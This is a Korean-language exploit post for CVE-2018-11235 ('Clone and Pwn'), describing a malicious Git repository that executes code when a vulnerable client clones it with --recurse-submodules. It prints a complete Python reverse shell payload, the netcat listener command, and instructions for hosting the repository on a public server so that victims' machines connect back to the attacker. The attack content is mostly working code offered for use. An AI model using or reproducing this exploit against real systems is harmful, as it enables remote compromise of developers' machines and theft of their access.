
CVE-2018-11235 악용
익스플로잇 제목: Clone and Pwn
날짜: 2018년 6월 4일
익스플로잇 작성자: Alejandro Caceres
공급업체 홈페이지: https://git-scm.com/
소프트웨어 링크: https://git-scm.com/downloads
버전: Git 2.13.7 이전, 2.14.x 중 2.14.4 이전, 2.15.x 중 2.15.2 이전, 2.16.x 중 2.16.4 이전, 2.17.x 중 2.17.1 이전의 Git 클라이언트 버전에서 임의 코드가 실행됩니다.
테스트 환경: Linux: Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235(여기서는 clone and pwn이라고 함)는 Git의 버그를 악용하는 악성 Git 저장소를 생성합니다. --recurse-submodules 플래그를 사용하여 저장소를 클론하면 Git 클라이언트 버전 2.13.7 이전, 2.14.x 중 2.14.4 이전, 2.15.x 중 2.15.2 이전, 2.16.x 중 2.16.4 이전, 2.17.x 중 2.17.1 이전에서 임의 코드가 실행됩니다.
이 모듈을 사용하려면 인터넷에 직접 접근 가능한 서버(예: AWS, Digital Ocean)에 파일을 두고 evil.sh를 실행하세요. 다음과 같이 보일 것입니다:
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
EXTERN_IP와 EXTERN_PORT를 리버스 셸을 수신할 IP(외부)와 포트로 설정하세요. 리버스 셸은 다음과 같이 수신할 수 있습니다:
nc -l <EXTERN_IP> EXTERN_PORT 예: nc -l 193.23.23.32 8080
또는 Metasploit의 일반 셸 모듈을 사용할 수 있습니다. 사용자가 git clone --recurse-submodules git://<your ip>/repo dest_dir 명령을 실행하면 리버스 셸을 받게 됩니다.
여러 번 실행하거나 실패한 후 문제가 발생하면 다음을 확인하세요:
ps aux | grep git으로 프로세스를 확인하여 gitdaemon이 이미 실행 중이 아닌지 확인하세요. gitdaemon 프로세스가 있으면 종료하세요.코드는 @peff의 git 패치에서 파생되었습니다(t/t7415-submodule-names.sh 테스트 파일 참조).
따라서 이 저장소는 GNU General Public License 버전 2에 따라 배포됩니다.
이전 버전의 Git에 대한 추가 수정은 @atorralba가 제공했습니다(이 게시물의 세부 정보).
이 스크립트는 https://github.com/Rogdham/CVE-2018-11235에서 수정되었습니다. 많은 사랑과 감사를 드립니다.
=======
CVE-2018-11235 익스플로잇
작성자: @_hyp3ri0n 및 @mehaase